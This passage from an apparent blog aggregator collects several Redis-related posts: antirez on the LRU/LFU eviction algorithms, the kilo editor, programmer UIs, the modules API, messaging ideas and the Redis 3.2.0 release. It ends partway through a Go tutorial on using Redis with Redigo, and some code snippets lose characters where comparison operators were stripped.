store the least significant bits of the current unix time in seconds. This representation, called “LRU clock” inside the source code of Redis, takes 194 days to overflow. Keys metadata are updated much often, so this was good enough. However there was another more complex problem to solve, how to select the key with the greatest idle time in order to evict it? The Redis key space is represented via a flat hash table. To add another data structure to take this metadata was not an option, however since LRU is itself an approximation of what we want to achieve, what about approximating LRU itself? The initial Redis algorithm was as simple as that: when there is to evict a key, select 3 random keys, and evict the one with the highest idle time. Basically we do random sampling over the key space and evict the key that happens to be the better. Later this “3 random keys” was turned into a configurable “N random keys” and the algorithm speed was improved so that the default was raised to 5 keys sampling without losing performances. Considering how naive it was, it worked well, very well actually. If you think at it, you always never do the best decision with this algorithm, but is very unlikely to do a very bad decision too. If there is a subset of very frequently accessed keys in the data set, out of 5 keys it is hard to be so unlucky to only sample keys with a very short idle time. However if you think at this algorithm *across* its executions, you can see how we are trashing a lot of interesting data. Maybe when sampling the N keys, we encounter a lot of good candidates, but we then just evict the best, and start from scratch again the next cycle. First rule of Fight Club is: observe your algorithms with naked eyes === At some point I was in the middle of working at the upcoming Redis 3.0 release. Redis 2.8 was actively used as an LRU cache in multiple environments, and people didn’t complained too much about the precision of the eviction in Redis, but it was clear that it could be improved even without using a noticeable amount of additional CPU time, and not a single bit of additional space. However in order to improve something, you have to look at it. There are different ways to look at LRU algorithms. You can write, for example, tools that simulate different workloads, and check the hit/miss ratio at the end. This is what I did, however the hit/miss ratio depends a lot on the access pattern, so additionally to this information I wrote an utility that actually displayed the algorithm quality in a visual way. The program was very simple: it added a given number of keys, then accessed the keys sequentially so that each had a decreasing idle time. Finally 50% more keys were added (the green ones in the picture), so that half of the old keys needed to be evicted. In a perfect LRU implementation no key from the new added keys are evicted, and the initial 50% of the old dataset is evicted. This is the representation produced by the program for different versions of Redis and different settings: http://redis.io/images/redisdoc/lru_comparison.png When looking at the graph remember that the implementation we discussed so far is the one of Redis 2.8. The improvement you see in Redis 3.0 is explained in the next section. LRU V2: don’t trash away important information === With the new visual tool, I was able to try new approaches and test them in a matter of minutes. The most obvious way to improve the vanilla algorithm used by Redis was to accumulate the otherwise trashed information in a “pool” of good candidates for eviction. Basically when the N keys sampling was performed, it was used to populate a larger pool of keys (just 16 keys by default). This pool has the keys sorted by idle time, so new keys only enter the pool when they have an idle time greater than one key in the pool or when there is empty space in the pool. This small change improved the performances of the algorithm dramatically as you can see in the image I linked above and the implementation was not so complex. A couple memmove() here and there and a few profiling efforts, but I don’t remember major bugs in this area. At the same time, a new redis-cli mode to test the LRU precision was added (see the —lru-test option), so I had another way to check the performances of the LRU code with a power-law access pattern. This tool was used to validate with a different test that the new algorithm worked better with a more real-world-ish workload. It also uses pipelining and displays the accesses per second, so can be used in order to benchmark different implementations, at least to check obvious speed regressions. Least Frequently Used === The reason I’m writing this blog post right now is because a couple of days ago I worked at a partial reimplementation and to different improvements to the Redis cache eviction code. Everything started from an open issue: when you have multiple databases with Redis 3.2, the algorithm evicts making local choices. So if for example you have all keys with a small idle time in DB number 0, and all keys with large idle time in DB number 1, Redis will evict one key from each DB. A more rational choice is of course to start evicting keys from DB number 1, and only later to evict the other keys. This is usually not a big deal, when Redis is used as a cache it is rarely used with different DBs, however this is how I started to work at the eviction code again. Eventually I was able to modify the pool to include the database ID, and to use a single pool for all the DBs instead of using multiple pools. It was slower, but by profiling and tuning the code, eventually it was faster than the original implementation by around 20%. However my curiosity for this subsystem of Redis was stimulated again at that point, and I wanted to improve it. I spent a couple of days trying to improve the LRU implementation: use a bigger pool maybe? Account for the time that passes when selecting the best key? After some time, and after refining my tools, I understood that the LRU algorithm was limited by the amount of data sampled in the database and was otherwise very good and hard to improve. This is, actually, kinda evident from the image showing the different algorithms: sampling 10 keys per cycle the algorithm was almost as accurate as theoretical LRU. Since the original algorithm was hard to improve, I started to test new algorithms. If we rewind a bit to the start of the blog post, we said that LRU is actually kinda a trick. What we really want is to retain keys that have the maximum probability of being accessed in the future, that are the keys *most frequently accessed*, not the ones with the latest access. The algorithm evicting the keys with the least number of accesses is called LFU. It means Least Frequently Used, which is the feature of the keys that it attempts to kill to make space for new keys. In theory LFU is as simple as associating a counter to each key. At every access the counter gets incremented, so that we know that a given key is accessed more frequently than another key. Well, there are at least a few more problems, not specific to Redis, general issues of LFU implementations: 1. With LFU you cannot use the “move to head” linked list trick used for LRU in order to take elements sorted for eviction in a simple way, since keys must be ordered by number of accesses in “perfect LFU”. Moving the accessed key to the right place can be problematic because there could be many keys with the same score, so the operation can be O(N) in the worst case, even if the key frequency counter changed just a little. Also as we’ll see in point “2” the accesses counter does not always change just a little, there are also sudden large changes. 2. LFU can’t really be as trivial as, just increment the access counter on each access. As we said, access patterns change over time, so a key with an high score needs to see its score reduced over time if nobody keeps accessing it. Our algorithm must be albe to adapt over time. In Redis the first problems is not a problem: we can just use the trick used for LRU: random sampling with the pool of candidates. The second problem remains. So normally LFU implementations have some way in order to decrement, or halve the access counter from time to time. Implementing LFU in 24 bits of space === LFU has its implementation peculiarities itself, however in Redis all we can use is our 24 bit LRU field in order to model LFU. To implement LFU in just 24 bits per objects is a bit more tricky. What we need to do in 24 bits is: 1. Some kind of access frequency counter. 2. Enough information to decide when to halve the counter. My solution was to split the 24 bits into two fields: 16 bits 8 bits +----------------+--------+ + Last decr time | LOG_C | +----------------+--------+ The 16 bit field is the last decrement time, so that Redis knows the last time the counter was decremented, while the 8 bit field is the actual access counter. You are thinking that it’s pretty fast to overflow an 8 bit counter, right? Well, the trick is, instead of using just a counter, I used a logarithmic counter. This is the function that increments the counter during accesses to the keys: uint8_t LFULogIncr(uint8_t counter) { if (counter == 255) return 255; double r = (double)rand()/RAND_MAX; double baseval = counter - LFU_INIT_VAL; if (baseval double p = 1.0/(baseval*server.lfu_log_factor+1); if (r return counter; } Basically the greater is the value of the counter, the less probable is that the counter will really be incremented: the code above computes a number ‘p’ between 0 and 1 which is smaller and smaller as the counter increases. Then it extracts a random number ‘r’ between 0 and 1 and only increments the counter if ‘r You can configure how much aggressively the counter is implemented via redis.conf parameters, but for instance, with the default settings, this is what happens: After 100 hits the value of the counter is 10 After 1000 is 18 After 100k is 142 After 1 million hits it reaches the 255 limit and no longer increments Now let’s see how this counter is decremented. The 16 bits are used in order to store the less significant bits of the UNIX time converted to minutes. As Redis performs random sampling scanning the key space in search of keys to populate the pool, all keys that are encountered are checked for decrement. If the last decrement was performed more than N minutes ago (with N configurable), the value of the counter is halved if it is an high value, or just decremented if it is a lower value (in the hope that we can better discriminate among keys with few accesses, given that our counter resolution is very small). There is yet another problem, new keys need a chance to survive after all. In vanilla LFU a just added key has an access score of 0, so it is a very good candidate for eviction. In Redis new keys start with an LFU value of 5. This initial value is accounted in the increment and halving algorithms. Simulations show that with this change keys have some time in order to accumulate accesses: keys with a score less than 5 will be preferred (non active keys for a long time). Code and performances === The implementation described above can be found in the “unstable” branch of Redis. My initial tests show that it outperforms LRU in power-law access patterns, while using the same amount of memory per key, however real world access patterns may be different: time and space locality of accesses may change in very different ways, so I’ll be very happy to learn from real world use cases how LFU is performing, and how the two parameters that you can tune in the Redis LFU implementation change the performances for different workloads. Also an OBJECT FREQ subcommand was added in order to report the frequency counter for a given key, this can be both useful in order to observe an application access pattern, and in order to debug the LFU implementation. Note that switching at runtime between LRU and LFU policies will have the effect to start with almost random eviction, since the metadata accumulated in the 24 bits counter does not match the meaning of the newly selected policy. However over time it adapts again. There are probably many improvements possible. Ben Manes pointed me to this interesting paper, describing an algorithm called TinyLRU (http://arxiv.org/pdf/1512.00727.pdf). The paper contains a very neat idea: instead of remembering the access frequency of the current objects, let’s (probabilistically) remember the access frequency of all the objects seen so far, this way we can even refuse new keys if, from the name, we believe they are likely to get little accesses, so that no eviction is needed at all, if evicting a key means to lower the hits/misses ratio. My feeling is that this technique, while very interesting for plain GET/SET LFU caches, is not applicable to the data structure server nature of Redis: users expect the key to exist after being created at least for a few milliseconds. Refusing the key creation at all seems semantically wrong for Redis. However Redis maintains LFU informations when a key is overwritten, so for example after a: SET oldkey some_new_value The 24 bit LFU counter is copied to the new object associated to the old key. The new eviction code of Redis unstable contains other good news: 1. Policies are now “cross DB”. In the past Redis made local choices as explained at the start of this blog post. Now this is fixed for all the policies, not just LRU. 2. The volatile-ttl eviction policy, which is the one that evicts based on the remaining time to live of keys with an expire set, now uses the pool like the other policies. 3. Performances are better by reusing SDS objects in the pool of keys. This post ended a lot longer than I expected it to be, but I hope it offered a few insights on the new stuff and the improvements to the old things we already had. Redis, more than a “solution” to solve a specific problem, is a generic tool. It’s up to the sensible developer to apply it in the right way. Many people use Redis as a caching solution, so improvements in this area are always investigated from time to time. Hacker News comments: https://news.ycombinator.com/item?id=12185534 Comments

• Writing an editor in less than 1000 lines of code, just for fun
  Antirez · Jul 10, 2016

  WARNING: Long pretty useless blog post. TLDR is that I wrote, just for fun, a text editor in less than 1000 lines of code that does not depend on ncurses and has support for syntax highlight and search feature. The code is here: http://github.com/antirez/kilo. Screencast here: https://asciinema.org/a/90r2i9bq8po03nazhqtsifksb For the sentimentalists, keep reading… A couple weeks ago there was this news about the Nano editor no longer being part of the GNU project. My first reaction was, wow people still really care about an old editor which is a clone of an editor originally part of a terminal based EMAIL CLIENT. Let’s say this again, “email client”. The notion of email client itself is gone at this point, everything changed. And yet I read, on Hacker News, a number of people writing how they were often saved by the availability of nano on random systems, doing system administrator tasks, for example. Nano is also how my son wrote his first program in C. It’s an acceptable experience that does not require past experience editing files. This is how I started to think about writing a text editor ways smaller than Nano itself. Just for fun, basically, because I like and admire small programs. How lame, useless, wasting of time is today writing an editor? We are supposed to write shiny incredible projects, very cool, very complex, valuable stuff. But sometimes to make things without a clear purpose is refreshing. There were also memories… I remember my first experiences with the Commodore 16 in-ROM assembler, and all the home computers and BASIC interpreters I used later in my child life. An editor is a fundamental connection between the human and the machine. It allows the human to write something that the computer can interpret. The blinking of a square prompt is something that many of us will never forget. Well, all nice, but my time was very limited. A few hours across two weekends with programmed family activities and meat to prepare for friends in long barbecue sessions. Maybe I could still write an editor on a few spare hours with some trick. My goal was to write an editor which was very small, no curses, and with syntax highlighting. Something usable, basically. That’s the deal.. It’s little stuff, but is already hard to write all this from scratch in a few hours. But … wait, I actually wrote an editor in the past, is part of the LOAD81 project, a Lua based programming environment for children. Maybe I can just reuse it… and instead of using SDL to write on the screen what about sending VT100 escape sequences directly to the terminal? And I’ve code for this as well in linenoise, another toy project that eventually found its place in some may other serious projects. So maybe mixing the two… The first week Saturday morning I went to the sea, and it was great. Later my brother arrived from Edinburg to Catania, and at the end of the day we were together in the garden with our laptops, trying to defend ourselves from the 30 degrees that there were during the day, so I started to hack the first skeleton of the editor. The LOAD81 code was quite modular, to take it away from the original project was a joke. I could kinda edit after a few hours, and it was already time to go bed. The next day I worked again at it before leaving for the sea again. My 15yo sleeps till 1pm, as I did when I was 15yo in summertime after all, so I coded more in sprints of 30 minutes waiting for him to get up, using the rest of the time to play with my wonderful daughter. Finally later in the Sunday night I tried to fix all the remaining stuff. Hey I remember that a few years ago to hack on a project was, to *hack* on it, full time for days. I’m old now, but still young enough to write toy editors and consider it a serious business :-) However life is hard, and Monday arrived. Real business, no time for toy projects, not even time to release what I got during the weekend… It deserved some minimal polishing and a blog post. I had to wait this Monday to put my hands on the “Kilo” editor again. It’s called Kilo because it has less than 1024 lines of code. The “cloc” utility, used in order to count the number of lines of code, signaled me I still had ~100 lines of space before reaching 1024 LOC, and a serious editor needs a “search” feature after all. So back to the code, trying also to restructure and recomment it a bit, since you know, when you mix two projects pieces in a few hours the risk is that the code quality is less than excellent. Well, now it’s time to release it, end of this crazy project. Maybe somebody will use it as a starting point to write a real editor, or maybe it could be used to write some new interesting CLI that goes over the usual REPL style model. The code is at http://github.com/antirez/kilo HN comments: https://news.ycombinator.com/item?id=12065217 Comments

• Programmers are not different, they need simple UIs.
  Antirez · May 24, 2016

  I’m spending days trying to get a couple of APIs right. New APIs about modules, and a new Redis data type. I really mean it when I say *days*, just for the API. Writing drafts, starting the implementation shaping data structures and calls, and then restarting from scratch to iterate again in a better way, to improve the design and the user facing part. Why I do that, delaying features for weeks? Is it really so important? Programmers are engineers, maybe they should just adapt to whatever API is better to export for the system exporting it. Should I really reply to my rhetorical questions? No, it is no longer needed today, and that’s a big win. I want to assume that at this point is tacit, given for granted, that programmers also have user interfaces, and that such user interfaces are so crucial to completely change the perception of a system. Database query languages, libraries calls, programming languages, Unix command line tools, they all have an User Interface part. If you use them daily, for you they are more UIs than anything else. So if this is all well known why I’m here writing this blog post? Because I want to stress how important is the concept of simplicity, not just in graphical UIs, but also in UIs designed for programmers. The act of iterating again and again to find a simple UI solution is not a form of perfectionism, it’s not futile narcissism. It is more an exploration in the design space, that sometimes is huge, made of small variations that make a big difference, and made of big variations that completely change the point of view. There are no rules to follow but your sensibility. Yes there are good practices, but they are not a good compass when the sea to navigate is the one of the design *space*. So why programmers should have this privilege of having good, simple UIs? Sure there is the joy of using something well made, that is great to handle, that feels *right*. But there is a more central question. Learning to configure Sendmail via M4 macros, or struggling with an Apache virtual host setup is not real knowledge. If such a system one day is no longer in use, what remains in your hands, or better, in your neurons? Nothing. This is ad-hoc knowledge. It is like junk food: empty calories without micronutrients. For programmers, the micronutrients are the ideas that last for decades, not the ad-hoc junk. I don’t want to ship junk, so I’ll continue to refine my designs before shipping. You should not accept junk, your neurons are better spent to learn general concepts. However in part it is inevitable: every system will have something that is not general that we need to learn in order to use it. Well, if that’s the deal, at least, let’s make the ad-hoc part a simple one, and if possible, something that is even fun to use. Comments

• Redis Loadable Modules System
  Antirez · May 10, 2016

  It was a matter of time but it eventually happened. In the Redis 1.0 release notes, 7 years ago, I mentioned that one of the interesting features for the future was “loadable modules”. I was really interested in such a feature back then, but over the years I became more and more skeptic about the idea of adding loadable modules in Redis. And probably for good reasons. Modules can be the most interesting feature of a system and the most problematic one at the same time: API incompatibilities between versions, low quality modules crashing the system, a lack of identity of a system that is extendible are possible problems. SO, for years, I managed to avoided adding modules to Redis, and Lua scripting was a good tool in order to delay their addition. At the same time, years of experience with scripting, demonstrated that scripting is a way to “compose” existing features, but not a way to extend the capabilities of a system towards use cases it was not designed to cover. Previous attempts at modules also showed that one of the main pain points about mixing Redis and loadable modules is the way modules are bound with the Redis core. In may ways Redis resembles more a programming language than a database. To extend Redis properly, the module needs to have access to the internal API of the system. Directly exporting the Redis core functions to modules creates huge problems: the module starts to depend on the internal details of Redis. If the Redis core evolves, the module needs to be rewritten. This creates either a fragile modules ecosystem or stops the evolution of the Redis core. Redis internals can’t stop to evolve, nor the modules developers can keep modifying the module in order to stay updated with the internals (something that happened in certain popular systems in the past, with poor results). With all this lessons in mind, I was leaving Catania to fly to Tel Aviv, to have a meeting at Redis Labs to talk about the roadmap for the future months. One of the topics of our chat was loadable modules. During the flight I asked myself if it was possible to truly decouple the Redis core from the modules API, but still have a low level access to directly manipulate Redis data structure. So I started to immediately code something. What I wanted was an extreme level of API compatibility for the future, so that a module wrote today could work in 4 years from now with the same API, regardless of the changes to the Redis core. I also wanted binary compatibility so that the 4 years old module could even *load* in the new Redis versions and work as expected, without even the need to be recompiled. At the end of the flight I arrived in Tel Aviv with something already working in the “modules” branch. We discussed together how the API would work, and at the end everybody agreed that to be able to manipulate Redis internals directly was a fundamental feature. What we wanted to accomplish was to allow Redis developers to create commands that were as capable as the Redis native commands, and also as fast as the native commands. This cannot be accomplished just with an high level API that calls Redis commands, it’s too slow and limited. There is no point in having a Redis modules system that can just do what Lua can already do. You need to be able to say, get me the value associated with this key, what type is it? Do this low level operation on the value. Given me a cursor into the sorted set at this position, go to the next element, and so forth. To create an API that works as an intermediate layer for such low level access is tricky, but definitely possible. I returned home and started to work at the modules system immediately. After a couple of weeks I had a prototype that was already functional enough to develop interesting modules, featuring low level functions like data types low level access, strings DMA to poke with the internals of strings without wrappers when needed, a replication API, an interesting sorted set iterator API, and so forth. It looked was a very promising start, however the project was kinda of “secret” because it was not clear if it was viable initially. Also we wanted to avoid everybody to start developing modules while the API was extremely unstable and subject to changes. The result of this process, while not complete, is very promising, so today I’m announcing the new feature at Redis Conference 2016, and the code was just pushed into the “unstable” branch. But let’s check the API a bit… Here is a trivial example of what a module can do and how it works. It implements a “list splice” operation that moves elements from a list to another: int HelloListSpliceAuto_RedisCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc != 4) return RedisModule_WrongArity(ctx); RedisModule_AutoMemory(ctx); RedisModuleKey *srckey = RedisModule_OpenKey(ctx,argv[1], REDISMODULE_READ|REDISMODULE_WRITE); RedisModuleKey *dstkey = RedisModule_OpenKey(ctx,argv[2], REDISMODULE_READ|REDISMODULE_WRITE); /* Src and dst key must be empty or lists. */ if ((RedisModule_KeyType(srckey) != REDISMODULE_KEYTYPE_LIST && RedisModule_KeyType(srckey) != REDISMODULE_KEYTYPE_EMPTY) || (RedisModule_KeyType(dstkey) != REDISMODULE_KEYTYPE_LIST && RedisModule_KeyType(dstkey) != REDISMODULE_KEYTYPE_EMPTY)) { return RedisModule_ReplyWithError(ctx,REDISMODULE_ERRORMSG_WRONGTYPE); } long long count; if ((RedisModule_StringToLongLong(argv[3],&count) != REDISMODULE_OK) || (count { return RedisModule_ReplyWithError(ctx,"ERR invalid count"); } while(count-- > 0) { RedisModuleString *ele; ele = RedisModule_ListPop(srckey,REDISMODULE_LIST_TAIL); if (ele == NULL) break; RedisModule_ListPush(dstkey,REDISMODULE_LIST_HEAD,ele); } size_t len = RedisModule_ValueLength(srckey); RedisModule_ReplyWithLongLong(ctx,len); return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx) { if (RedisModule_Init(ctx,"helloworld",1,REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx,"hello.list.splice.auto", HelloListSpliceAuto_RedisCommand, "write deny-oom",1,2,1) == REDISMODULE_ERR) return REDISMODULE_ERR; } There was a big effort into providing a clean API, and an API that is not prone to misuses. For example there is support for automatic memory management, so that the context the command operates on, collects the objects that are not explicitly freed by the user, in order to free them when the command returns if needed. This makes writing modules a lot simpler. You can find the API documentation here (not perfect but there is enough to get familiar): https://github.com/antirez/redis/blob/unstable/src/modules/INTRO.md And the API reference here: https://github.com/antirez/redis/blob/unstable/src/modules/API.md And many simple examples of commands here: https://github.com/antirez/redis/blob/unstable/src/modules/helloworld.c The API is yet not complete nor stable, and will be released with the next stable version of Redis (likely 4.0). However it is already enough to do a lot of things, and my colleagues did very interesting things, from inverted indexes to authentication systems. In the next weeks we’ll fill all the holes, for example there is no low level Set API, so you’ll have to use Call() style API for now. Similarly the iterator is only provided for the sorted set type, and so forth. But the important point is that the process is now started, and Redis is becoming an extendible system. I think this will give more power to Redis users, power to go “faster” than the project itself, in using Redis to model their problems, with the big promise that, after Redis 4.0 RC is out, we’ll not break the API ever for years to come, so that modules work will not get wasted. Note that we *can improve* the API, since the module registration asks for a given API version, so it will be possible to maintain the backward compatibility while at the same time release new versions of the API. Soon there will be a Modules Directory were you can register your modules, using redis-cli, into a server that talks the Redis protocol. It was not possible to finish it in time unfortunately, but it is just a matter of weeks. I’m very very excited about what will happen now! Modules will have a Bazar model like clients, so there will not be “official modules”. The good ones will be used for sure, and all will get listed in the Redis site, probably ranked by Github stars or something like that. I hope many users will start to be part of the modules ecosystem and make Redis able to solve very specific use cases that was not wise to solve inside the core, but that are a good fit for modules. Now I need your feedbacks while the API is still malleable. Tell me what you think! Comments

• Three ideas about text messages
  Antirez · May 07, 2016

  I’m aboard of a flight bringing me to San Francisco. Eventually I purchased the slowest internet connection of my life (well at least for a good reason), but for several hours I was without internet, as usually when I fly. I don’t mind staying disconnected for some time usually. It’s a good time to focus, write some code, or a blog post like this one. However when I’m disconnected, what makes the most difference is not Facebook or Twitter or Github, but the lack of text messages. At this point text messages are a fundamental thing in my life. They are also probably the main source of distraction. I use messages to talk with my family, even just to communicate between different floors. I use messages with friends to organize dinners and vacations. I even use messages with the plumber or the doctor. Clearly messages are not going to go away. They need to get better, so I usually tend to thing at topics related to messaging applications. The following are three recurrent thoughts I’ve about this topic. 1. WhatsApp is not used in the US. Do you know what’s the social network that is reshaping the most the way we communicate in Europe? Is the WhatsApp application. Since it is the total standard and an incredible amount of the population has it, “WhatsApp Groups” is changing the way people communicate. There is a group for each school class, one for the children and one for the parents. One for families, another for groups of friends. One for the kindergarten of my daughter, where teachers post from time to time pictures of our children doing activities. WhatsApp is also one of the main pains of modern life. All this groups continuously beep. However what they are doing for the society is incredible: they are truly making every human being interconnected. This magic is possible because here in Italy, and in most other EU countries, WhatsApp is *the standard* so everybody assumes you use it. To me it is pretty incredible that this is not happening in the US, the place where most social applications are funded and created. Given that in the US there are both Android and iOS phones I wonder what’s stopping this from happening. My guess is that it’s just a matter of time and a unified messaging platform will happen there too. * Why voice recognition is not used more. For people that can write text fast into a real keyboard, the software keyboard of the phone is one of the most annoying things ever. Similarly, teenagers excluded, many other people have issues writing long text messages with a phone keyboard. At the same time, the voice recognition software of Android, powered by the Google servers, reached a point where it rarely does errors at all, so why just a few people use it on a daily basis? My theory is that the user interface to activate and use the voice recognition feature is so bad to be the main barrier to make this feature a big hit. First you have to find how to activate it, and usually is not a prominent button on the keyboard. Then there is this delay and it emits a beep and starts to listen, and it’s not clear exactly how to stop it, especially if the environment is aloud. The whole thing looks like if you are suffering from the servers latency, but voice is voice. With delays and non clear experience you kill the big advantage of talking to your phone. This should be just a “push the button while you talk” thing. When you push the button, the system starts to record your voice immediately and connects asynchronously to the servers. As text arrives back, it is shown to the user. When the user releases the button the voice thing is done. As simple as that. At the end, the words that were inserted in this way could be shown in some special way (like a different gray) in the text area, so that one can tap individual words and select alternatives if there are errors. Please Google freaking do that. I wonder if it’s any better on iOS, I don’t use it for some time at this point. * Auto transcription of text messages. Since the phone keyboard is such a mess, people are using more and more voice messages, especially with WhatsApp. It is very convenient for people writing messages, since there is the “push and talk” experience that there is not in the speech to text feature. However it is not always very convenient for the people receiving the message, that may be in an environment where to listen to the conversation is not easy. However there is something that could work in that regard, that is, the WhatsApp (or whatever) servers, should automatically translate the message to text, so that the user can both play the message or just look at the text, if it’s clear enough. When there are doubts on given words, the text can be highlighted in some way to show the user that it’s better to listen to the voice message since there are non clear words, however this could easily make 95% of messages promptly available to the user just reading. This way the feature would be friction-less both ways, for the users writing (dictating actually) and for the user receiving the messages. TLDR: Messaging is everywhere, make it better. Comments

• Redis 3.2.0 is out!
  Antirez · May 06, 2016

  It took more than expected, but finally we have it, Redis 3.2.0 stable is out with changes that may be useful to a big number of Redis users. At this point I covered the changes multiple time, but the big ones are: * The GEO API. Index whatever you want by latitude and longitude, and query by radius, with the same speed and easy of use of the other Redis data structures. Here you can find the API documentation: http://redis.io/commands/#geo. Thank you to Matt Stancliff for the initial implementation, that was reworked but is still at the core of the GEO API, and to the developers of ARDB for providing the geo indexing code that Matt used. * The new BITFIELD command allows to use a Redis string as a bit array composed of many integers with user specified size and offset. It supports increments and decrements to exploit this small (or large) integers as counters, with fine control over the overflow behavior. http://redis.io/commands/bitfield. Thanks to Yoav Steinberg for pushing forward this crazy idea and motivating me to write an implementation. * Many improvements to Redis Cluster, including rebalancing capabilities in redis-trib and better replicas migration. However support for NATted envrionments and Docker port forwarding, while implemented in the “unstable” branch, was not backported to 3.2 for maturity concerns. * Improvements to Lua scripts replication. It is now possible to use “effects replication” to write scripts containing side effects. It’s documented here: http://redis.io/commands/EVAL. Thanks to Yossi Gottlieb for stimulating the addition of this feature and helping in the design. * We have now a serious Lua scripts debugger: https://www.youtube.com/watch?v=IMvRfStaoyM with support into redis-cli. Thanks to Itamar Haber, developer of non trivial scripts since the start of Lua scripting, that really wanted this feature and helped during the development. * Redis is now more memory efficient thanks to changes operated by Oran Agra to SDS and the Jemalloc size classes setup. Also we have a new List internal representation contributed by Matt Stancliff which uses just a small percentage of the memory used before to represent large lists! * Finally slaves and masters are in agreement about what keys are expired during read operations. It was about time :-) * SPOP now accepts an optional count argument. Thanks to Alon Diamant for providing the initial implementation. I kinda rewrote it for performances later, and we ended with a pretty fast thing. * RDB AUX fields. So now your RDB files have a few informations inside, like the server that generated it, in what date, and so forth. Soon we’ll have redis-cli able to parse those fields (in 3.2.1) hopefully. It’s a small amount of work but I’m remembering only know writing this notes, honestly. * RDB loading is faster now. * Sentinel can now scale monitoring many masters, but should be considered more an advanced beta than stable, so please test it in your environment carefully before deploying, a lot of code changed inside Sentinel internals. * Many more things but this list is already long enough. A big thank you to all the contributors that made this release possible, to the Redis user base which is lovely and encouraging, and to Redis Labs for sponsoring a lot of the work that went into 3.2.0. During the previous weeks we also worked to a new interesting feature that will be released in the next versions of Redis, it will be announced during RedisConf 2016 in San Francisco, 10-11 May, so stay tuned! One note about stability. I keep saying it all the time, but stability in software is not black and white. It’s like pink, yellow and green. No just kidding. It’s the usual shades of gray. So 3.2.0 looks solid, however it’s fresh meat. Start to use it incrementally and check how it works for you, and please report any issue promptly. However it’s also true that given that it stayed in RC for a lot of time, it was already tested by the brave users that were too much in need for the new features to deploy it ASAP. The 3.2.0 full changelog is here: https://raw.githubusercontent.com/antirez/redis/3.2/00-RELEASENOTES Redis 3.2.0 can be obtained as a tarball at http://download.redis.io, or by fetching the 3.2.0 tag from Github antirez/redis repository. Enjoy! Comments

• Working with Redis
  Alex Edwards · Feb 26, 2016

  In this post I'm going to be looking at using Redis as a data persistence layer for a Go application. We'll start by explaining a few of the essential concepts, and then build a working web application which highlights some techniques for using Redis in a concurrency-safe way. This post assumes a basic knowledge of Redis itself (and a working installation, if you want to follow along). If you haven't used Redis before, I highly recommend reading the Little Book of Redis by Karl Seguin or running through the Try Redis interactive tutorial. Installing a driver First up we need to install a Go driver (or client) for Redis. A list of available drivers is located at http://redis.io/clients#go. The two drivers that I would recommend are gomodule/redigo and mediocregopher/radix. They are both well designed and actively maintained. The key differences are that Redigo is completely self-contained (with no external dependencies) and it has a smaller, simpler API than Radix. Radix, on the other hand, provides support for Redis sentinel and cluster implementations. Throughout this post we'll be using the Redigo driver. Getting started with Redis and Go As an example, let's say that we have an online record shop and want to store information about the albums for sale in Redis. There's many different ways we could model this data in Redis, but we'll keep things simple and store each album as a hash – with fields for title, artist, price and the number of 'likes' that it has. As the key for each album hash we'll use the pattern album:{id}, where id is a unique integer value. So if we wanted to store a new album using the Redis CLI, we could execute a HMSET command along the lines of: 127.0.0.1:6379> HMSET album:1 title "Electric Ladyland" artist "Jimi Hendrix" price 4.95 likes 8 OK To do the same thing from a Go application, we need to combine a couple of functions from the gomodule/redigo/redis package. The first is the Dial() function, which returns a new connection to our Redis server. The second is the Do() method, which sends a command to our Redis server across the connection. This returns the reply from Redis as an interface{} type, along with any error if applicable. Using them is quite straightforward in practice: File: main.go package main import ( "fmt" "log" // Import the redigo/redis package. "github.com/gomodule/redigo/redis" ) func main() { // Establish a connection to the Redis server listening on port // 6379 of the local machine. 6379 is the default port, so unless // you've already changed the Redis configuration file this should // work. conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } // Importantly, use defer to ensure the connection is always // properly closed before exiting the main() function. defer conn.Close() // Send our command across the connection. The first parameter to // Do() is always the name of the Redis command (in this example // HMSET), optionally followed by any necessary arguments (in this // example the key, followed by the various hash fields and values). _, err = conn.Do("HMSET", "album:2", "title", "Electric Ladyland", "artist", "Jimi Hendrix", "price", 4.95, "likes", 8) if err != nil { log.Fatal(err) } fmt.Println("Electric Ladyland added!") } In this example we're not really interested in the reply from Redis (all successful HMSET commands just reply with the string "OK") so we don't do anything except check the return value from Do() for any errors. Working with replies When we are interested in the reply from Redis, the gomodule/redigo/redis package contains some useful helper functions for converting the reply (which has the type interface{}) into a Go type we can easily work with. These are: redis.Bool() – converts a single reply to a bool redis.Bytes() – converts a single reply to a byte slice ([]byte) redis.Float64() – converts a single reply to a float64 redis.Int() – converts a single reply to a int redis.String() – converts a single reply to a string redis.Values() – converts an array reply to an slice of individual replies redis.Strings() – converts an array reply to an slice of strings ([]string) redis.ByteSlices() – converts an array reply to an slice of byte slices ([][]byte) redis.StringMap() – converts an array of strings (alternating key, value) into a map[string]string. Useful for HGETALL etc Let's use some of these in conjunction with the HGET command to retrieve information from one of the album hashes: File: main.go package main import ( "fmt" "log" "github.com/gomodule/redigo/redis" ) func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Issue a HGET command to retrieve the title for a specific album, // and use the Str() helper method to convert the reply to a string. title, err := redis.String(conn.Do("HGET", "album:1", "title")) if err != nil { log.Fatal(err) } // Similarly, get the artist and convert it to a string. artist, err := redis.String(conn.Do("HGET", "album:1", "artist")) if err != nil { log.Fatal(err) } // And the price as a float64... price, err := redis.Float64(conn.Do("HGET", "album:1", "price")) if err != nil { log.Fatal(err) } // And the number of likes as an integer. likes, err := redis.Int(conn.Do("HGET", "album:1", "likes")) if err != nil { log.Fatal(err) } fmt.Printf("%s by %s: £%.2f [%d likes]\n", title, artist, price, likes) } It's worth pointing out that, when we use these helper methods, the error they return could relate to one of two things: either the failed execution of the command, or the conversion of the reply data to the desired type (for example, we'd get an error if we tried to convert the reply "Jimi Hendrix" to a float64). There's no way of knowing which kind of error it is unless we examine the error message. If you run the code above you should get output which looks like: $ go run main.go Electric Ladyland by Jimi Hendrix: £4.95 [8 likes] Let's now look at a more complete example, where we use the HGETALL command to retrieve all fields from an album hash in one go and store the information in a custom Album struct. File: main.go package main import ( "fmt" "log" "strconv" "github.com/gomodule/redigo/redis" ) // Define a custom struct to hold Album data. type Album struct { Title string Artist string Price float64 Likes int } func main() { conn, err := redis.Dial("tcp", "localhost:6379") if err != nil { log.Fatal(err) } defer conn.Close() // Fetch all album fields with the HGETALL command. Because 